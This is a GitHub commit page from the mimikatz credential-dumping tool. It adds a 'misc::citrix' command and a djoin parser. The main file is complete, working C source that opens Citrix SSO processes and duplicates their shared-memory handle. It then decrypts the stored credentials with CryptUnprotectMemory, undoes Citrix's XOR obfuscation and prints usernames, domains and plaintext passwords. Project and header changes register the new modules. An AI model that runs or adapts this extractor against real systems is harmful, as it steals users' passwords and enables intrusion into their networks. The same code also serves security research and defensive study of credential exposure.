Skip to content

Commit 746e211

Browse files
gentilkiwigentilkiwi
committed
[legacy] Backport djoin parser & citrix SSO password extractor
1 parent a227123 commit 746e211

14 files changed

+1188
-10
lines changed

‎inc/globals.h

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -129,3 +129,18 @@ DWORD MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NU
129129
#define KULL_M_WIN_MIN_BUILD_BLUE 9400
130130
#define KULL_M_WIN_MIN_BUILD_10 9800
131131
#define KULL_M_WIN_MIN_BUILD_11 22000
132+
133+
/* mimikatz 3 transition */
134+
#define GET_CLI_ARG(name, var) (kull_m_string_args_byName(argc, argv, name, var, NULL))
135+
#define GET_CLI_ARG_DEF(name, var, def) (kull_m_string_args_byName(argc, argv, name, var, def))
136+
#define GET_CLI_ARG_PRESENT(name) (kull_m_string_args_byName(argc, argv, name, NULL, NULL))
137+
138+
#define kprintf_level(subject, ...) kprintf(L"%*s" subject, level << 1, L"", __VA_ARGS__)
139+
140+
#define kprinthex(lpData, cbData) kull_m_string_wprintf_hex(lpData, (DWORD) cbData, 0); kprintf(L"\n")
141+
#define kprinthex16(lpData, cbData) kull_m_string_wprintf_hex(lpData, (DWORD) cbData, 1 | (16 << 16)); kprintf(L"\n")
142+
143+
#define kull_m_cli_guid(pGuid, bNewLine) kull_m_string_displayGUID(pGuid); if(bNewLine) kprintf(L"\n")
144+
#define kull_m_cli_sid(pSid, bNewLine) kull_m_string_displaySID(pSid); if(bNewLine) kprintf(L"\n")
145+
146+
#define kull_m_crypto_Base64StringToBinary kull_m_string_quick_base64_to_Binary

‎mimikatz/mimikatz.vcxproj

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -153,6 +153,7 @@
153153
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-drsr_c.c" />
154154
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-efsr_c.c" />
155155
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-nrpc_c.c" />
156+
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-odj.c" />
156157
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-pac.c" />
157158
<ClCompile Include="..\modules\kull_m_service.c" />
158159
<ClCompile Include="..\modules\kull_m_string.c" />
@@ -213,6 +214,8 @@
213214
<ClCompile Include="modules\kuhl_m_vault.c" />
214215
<ClCompile Include="modules\kuhl_m_minesweeper.c" />
215216
<ClCompile Include="modules\lsadump\kuhl_m_lsadump_dc.c" />
217+
<ClCompile Include="modules\misc\kuhl_m_misc_citrix.c" />
218+
<ClCompile Include="modules\misc\kuhl_m_misc_djoin.c" />
216219
<ClCompile Include="modules\ngc\kuhl_m_ngc.c" />
217220
<ClCompile Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c" />
218221
<ClCompile Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c" />
@@ -273,6 +276,7 @@
273276
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-bkrp.h" />
274277
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-efsr.h" />
275278
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-nrpc.h" />
279+
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-odj.h" />
276280
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-pac.h" />
277281
<ClInclude Include="..\modules\kull_m_samlib.h" />
278282
<ClInclude Include="..\modules\kull_m_service.h" />
@@ -331,6 +335,8 @@
331335
<ClInclude Include="modules\kuhl_m_vault.h" />
332336
<ClInclude Include="modules\kuhl_m_minesweeper.h" />
333337
<ClInclude Include="modules\lsadump\kuhl_m_lsadump_dc.h" />
338+
<ClInclude Include="modules\misc\kuhl_m_misc_citrix.h" />
339+
<ClInclude Include="modules\misc\kuhl_m_misc_djoin.h" />
334340
<ClInclude Include="modules\ngc\kuhl_m_ngc.h" />
335341
<ClInclude Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.h" />
336342
<ClInclude Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h" />

‎mimikatz/mimikatz.vcxproj.filters

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -332,6 +332,15 @@
332332
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_citrix.c">
333333
<Filter>local modules\dpapi\packages</Filter>
334334
</ClCompile>
335+
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-odj.c">
336+
<Filter>common modules\rpc</Filter>
337+
</ClCompile>
338+
<ClCompile Include="modules\misc\kuhl_m_misc_djoin.c">
339+
<Filter>local modules\misc</Filter>
340+
</ClCompile>
341+
<ClCompile Include="modules\misc\kuhl_m_misc_citrix.c">
342+
<Filter>local modules\misc</Filter>
343+
</ClCompile>
335344
</ItemGroup>
336345
<ItemGroup>
337346
<ClInclude Include="mimikatz.h" />
@@ -683,6 +692,15 @@
683692
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_citrix.h">
684693
<Filter>local modules\dpapi\packages</Filter>
685694
</ClInclude>
695+
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-odj.h">
696+
<Filter>common modules\rpc</Filter>
697+
</ClInclude>
698+
<ClInclude Include="modules\misc\kuhl_m_misc_djoin.h">
699+
<Filter>local modules\misc</Filter>
700+
</ClInclude>
701+
<ClInclude Include="modules\misc\kuhl_m_misc_citrix.h">
702+
<Filter>local modules\misc</Filter>
703+
</ClInclude>
686704
</ItemGroup>
687705
<ItemGroup>
688706
<Filter Include="local modules">
@@ -723,6 +741,9 @@
723741
<Filter Include="local modules\ngc">
724742
<UniqueIdentifier>{5880e511-0496-4c66-95c3-39c70baac28b}</UniqueIdentifier>
725743
</Filter>
744+
<Filter Include="local modules\misc">
745+
<UniqueIdentifier>{ca3b8b78-3db9-40c8-8091-438a90e5be4e}</UniqueIdentifier>
746+
</Filter>
726747
</ItemGroup>
727748
<ItemGroup>
728749
<ResourceCompile Include="mimikatz.rc" />

‎mimikatz/modules/kuhl_m_misc.c

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,10 @@ const KUHL_M_C kuhl_m_c_misc[] = {
3030
{kuhl_m_misc_spooler, L"spooler", NULL},
3131
{kuhl_m_misc_efs, L"efs", NULL},
3232
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
33-
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
34-
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
33+
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
34+
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
35+
{kuhl_m_misc_djoin_proxy, L"djoin", NULL},
36+
{kuhl_m_misc_citrix_proxy, L"citrix", NULL},
3537
};
3638
const KUHL_M kuhl_m_misc = {
3739
L"misc", L"Miscellaneous module", NULL,
@@ -2183,5 +2185,17 @@ NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[])
21832185
}
21842186
else PRINT_ERROR(L"NtOpenDirectoryObject: 0x%08x\n", status);
21852187

2188+
return STATUS_SUCCESS;
2189+
}
2190+
2191+
NTSTATUS kuhl_m_misc_djoin_proxy(int argc, wchar_t * argv[])
2192+
{
2193+
kuhl_m_misc_djoin(argc, argv);
2194+
return STATUS_SUCCESS;
2195+
}
2196+
2197+
NTSTATUS kuhl_m_misc_citrix_proxy(int argc, wchar_t * argv[])
2198+
{
2199+
kuhl_m_misc_citrix_logonpasswords(argc, argv);
21862200
return STATUS_SUCCESS;
21872201
}

‎mimikatz/modules/kuhl_m_misc.h

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,8 @@
2323
#include <sqlext.h>
2424
#pragma warning(pop)
2525
#include <sqltypes.h>
26+
#include "misc/kuhl_m_misc_djoin.h"
27+
#include "misc/kuhl_m_misc_citrix.h"
2628

2729
const KUHL_M kuhl_m_misc;
2830

@@ -50,6 +52,8 @@ NTSTATUS kuhl_m_misc_efs(int argc, wchar_t * argv[]);
5052
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
5153
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
5254
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);
55+
NTSTATUS kuhl_m_misc_djoin_proxy(int argc, wchar_t * argv[]);
56+
NTSTATUS kuhl_m_misc_citrix_proxy(int argc, wchar_t * argv[]);
5357

5458
BOOL kuhl_m_misc_printnightmare_normalize_library(BOOL bIsPar, LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
5559
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);

‎mimikatz/modules/misc/kuhl_m_misc_citrix.c

Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
/* Benjamin DELPY `gentilkiwi`
2+
https://blog.gentilkiwi.com
3+
[email protected]
4+
Licence : https://creativecommons.org/licenses/by/4.0/
5+
*/
6+
#include "kuhl_m_misc_citrix.h"
7+
8+
void kuhl_m_misc_citrix_logonpasswords(int argc, wchar_t* argv[])
9+
{
10+
UNREFERENCED_PARAMETER(argc);
11+
UNREFERENCED_PARAMETER(argv);
12+
13+
kull_m_process_getProcessInformation(Citrix_Each_SSO_Program, NULL);
14+
}
15+
16+
DECLARE_CONST_UNICODE_STRING(_U_ssonsvr, L"ssonsvr.exe");
17+
DECLARE_CONST_UNICODE_STRING(_U_wfcrun32, L"wfcrun32.exe");
18+
DECLARE_CONST_UNICODE_STRING(_U_AuthManSvr, L"AuthManSvr.exe");
19+
const PCUNICODE_STRING _U_CITRIX_SSO_PROGRAMS[] = { &_U_ssonsvr , &_U_wfcrun32 , &_U_AuthManSvr };
20+
BOOL CALLBACK Citrix_Each_SSO_Program(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
21+
{
22+
DWORD i, ProcessId;
23+
HANDLE hProcess;
24+
//PKULL_M_MEMORY_HANDLE hMemory;
25+
//KULL_M_MEMORY_ADDRESS aMemory = { NULL, &hMemory };
26+
RTL_USER_PROCESS_PARAMETERS UserProcessParameters;
27+
KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {&UserProcessParameters, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
28+
PEB Peb;
29+
30+
31+
UNREFERENCED_PARAMETER(pvArg);
32+
33+
for (i = 0; i < ARRAYSIZE(_U_CITRIX_SSO_PROGRAMS); i++)
34+
{
35+
if (RtlEqualUnicodeString(_U_CITRIX_SSO_PROGRAMS[i], &pSystemProcessInformation->ImageName, TRUE))
36+
{
37+
ProcessId = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
38+
kprintf(L"\n* %wZ -- pid: %u\n", &pSystemProcessInformation->ImageName, ProcessId);
39+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE, FALSE, ProcessId);
40+
if(hProcess)
41+
{
42+
if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory))
43+
{
44+
if (kull_m_process_peb(aRemote.hMemory, &Peb, FALSE))
45+
{
46+
aRemote.address = Peb.ProcessParameters;
47+
if (kull_m_memory_copy(&aBuffer, &aRemote, sizeof(UserProcessParameters)))
48+
{
49+
aRemote.address = UserProcessParameters.CommandLine.Buffer;
50+
UserProcessParameters.CommandLine.Buffer = LocalAlloc(LPTR, UserProcessParameters.CommandLine.MaximumLength);
51+
aBuffer.address = UserProcessParameters.CommandLine.Buffer;
52+
53+
if(UserProcessParameters.CommandLine.Buffer)
54+
{
55+
if (kull_m_memory_copy(&aBuffer, &aRemote, UserProcessParameters.CommandLine.MaximumLength))
56+
{
57+
Citrix_SSO_Program_args(aRemote.hMemory->pHandleProcess->hProcess, &UserProcessParameters.CommandLine);
58+
}
59+
LocalFree(UserProcessParameters.CommandLine.Buffer);
60+
}
61+
}
62+
}
63+
kull_m_memory_close(aRemote.hMemory);
64+
}
65+
CloseHandle(hProcess);
66+
}
67+
else PRINT_ERROR_AUTO(L"OpenProcess");
68+
69+
break;
70+
}
71+
}
72+
73+
return TRUE;
74+
}
75+
76+
void Citrix_SSO_Program_args(HANDLE hRemoteProcess, PCUNICODE_STRING puCommandLine)
77+
{
78+
int i, argc;
79+
LPWSTR* argv;
80+
HANDLE hRemoteFileMapping = NULL;
81+
82+
argv = CommandLineToArgvW(puCommandLine->Buffer, &argc);
83+
if (argv)
84+
{
85+
if (argc > 0)
86+
{
87+
for (i = 0; i < argc; i++)
88+
{
89+
if (_wcsnicmp(argv[i], L"/HTC:", 5) == 0)
90+
{
91+
hRemoteFileMapping = (HANDLE)(ULONG_PTR)wcstoul(argv[i] + 5, NULL, 10);
92+
Citrix_SSO_Program_FileMapping(hRemoteProcess, hRemoteFileMapping);
93+
94+
break;
95+
}
96+
}
97+
98+
if (!hRemoteFileMapping)
99+
{
100+
kprintf(L" No shared memory (no SSO enabled?)\n");
101+
}
102+
}
103+
else PRINT_ERROR(L"No command/module?");
104+
105+
LocalFree(argv);
106+
}
107+
else PRINT_ERROR_AUTO(L"CommandLineToArgvW");
108+
}
109+
110+
void Citrix_SSO_Program_FileMapping(HANDLE hRemoteProcess, HANDLE hRemoteFileMapping)
111+
{
112+
HANDLE hFileMapping;
113+
PCITRIX_PACKED_CREDENTIALS pCitrixPackedCredentials;
114+
PCITRIX_CREDENTIALS pCitrixCredentials;
115+
116+
if (DuplicateHandle(hRemoteProcess, hRemoteFileMapping, GetCurrentProcess(), &hFileMapping, FILE_MAP_READ, FALSE, 0))
117+
{
118+
pCitrixPackedCredentials = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, sizeof(CITRIX_PACKED_CREDENTIALS));
119+
if (pCitrixPackedCredentials)
120+
{
121+
//kprintf(L"cbStruct: 0x%08x - ref: 0x%08x\ncbData : 0x%08x - ref: 0x%08x\ndwFlags : 0x%08x\n", pCitrixPackedCredentials->cbStruct, sizeof(CITRIX_PACKED_CREDENTIALS), pCitrixPackedCredentials->cbData, sizeof(CITRIX_CREDENTIALS), pCitrixPackedCredentials->dwFlags);
122+
pCitrixCredentials = LocalAlloc(LPTR, sizeof(pCitrixPackedCredentials->Data));
123+
if (pCitrixCredentials)
124+
{
125+
RtlCopyMemory(pCitrixCredentials, pCitrixPackedCredentials->Data, sizeof(pCitrixPackedCredentials->Data));
126+
if (CryptUnprotectMemory(pCitrixCredentials, sizeof(pCitrixPackedCredentials->Data), CRYPTPROTECTMEMORY_CROSS_PROCESS))
127+
{
128+
CitrixPasswordDesobfuscate((PBYTE)pCitrixCredentials->password, pCitrixCredentials->cbPassword);
129+
kprintf(L"| Username : %s\n| Domain : %s\n| Password : %.*s\n| flags/type: 0x%08x\n", pCitrixCredentials->username, pCitrixCredentials->domain, pCitrixCredentials->cbPassword, pCitrixCredentials->password, pCitrixCredentials->dwFlags);
130+
}
131+
else PRINT_ERROR_AUTO(L"CryptUnprotectMemory");
132+
133+
LocalFree(pCitrixCredentials);
134+
}
135+
136+
UnmapViewOfFile(pCitrixPackedCredentials);
137+
}
138+
else PRINT_ERROR_AUTO(L"MapViewOfFile");
139+
140+
CloseHandle(hFileMapping);
141+
}
142+
else PRINT_ERROR_AUTO(L"DuplicateHandle");
143+
}
144+
145+
void CitrixPasswordObfuscate(PBYTE pbData, DWORD cbData)
146+
{
147+
DWORD i;
148+
BYTE prec;
149+
150+
for (i = 0, prec = 0x00; i < cbData; i++)
151+
{
152+
pbData[i] ^= prec ^ 'C';
153+
prec = pbData[i];
154+
}
155+
}
156+
157+
void CitrixPasswordDesobfuscate(PBYTE pbData, DWORD cbData)
158+
{
159+
DWORD i;
160+
BYTE prec, sprec;
161+
162+
for (i = 0, prec = 0x00; i < cbData; i++)
163+
{
164+
sprec = pbData[i];
165+
pbData[i] ^= prec ^ 'C';
166+
prec = sprec;
167+
}
168+
}

‎mimikatz/modules/misc/kuhl_m_misc_citrix.h

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
/* Benjamin DELPY `gentilkiwi`
2+
https://blog.gentilkiwi.com
3+
[email protected]
4+
Licence : https://creativecommons.org/licenses/by/4.0/
5+
*/
6+
#pragma once
7+
#include "../kuhl_m_misc.h"
8+
#include "../../../modules/kull_m_memory.h"
9+
#include "../../../modules/kull_m_process.h"
10+
11+
extern const KUHL_M kuhl_m_misc_citrix;
12+
13+
#pragma pack(push, 4)
14+
typedef struct _CITRIX_CREDENTIALS {
15+
wchar_t username[0x100];
16+
wchar_t domain[0x100];
17+
DWORD cbPassword;
18+
wchar_t password[0x100];
19+
DWORD dwFlags; // type ?
20+
} CITRIX_CREDENTIALS, * PCITRIX_CREDENTIALS;
21+
22+
typedef struct _CITRIX_PACKED_CREDENTIALS {
23+
DWORD cbStruct;
24+
DWORD cbData;
25+
DWORD dwFlags;
26+
BYTE Data[SIZE_ALIGN(sizeof(CITRIX_CREDENTIALS), CRYPTPROTECTMEMORY_BLOCK_SIZE)];
27+
} CITRIX_PACKED_CREDENTIALS, * PCITRIX_PACKED_CREDENTIALS;
28+
#pragma pack(pop)
29+
30+
void kuhl_m_misc_citrix_logonpasswords(int argc, wchar_t* argv[]);
31+
32+
BOOL CALLBACK Citrix_Each_SSO_Program(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
33+
void Citrix_SSO_Program_args(HANDLE hRemoteProcess, PCUNICODE_STRING puCommandLine);
34+
void Citrix_SSO_Program_FileMapping(HANDLE hRemoteProcess, HANDLE hRemoteFileMapping);
35+
36+
void CitrixPasswordObfuscate(PBYTE pbData, DWORD cbData);
37+
void CitrixPasswordDesobfuscate(PBYTE pbData, DWORD cbData);

0 commit comments

Comments
 (0)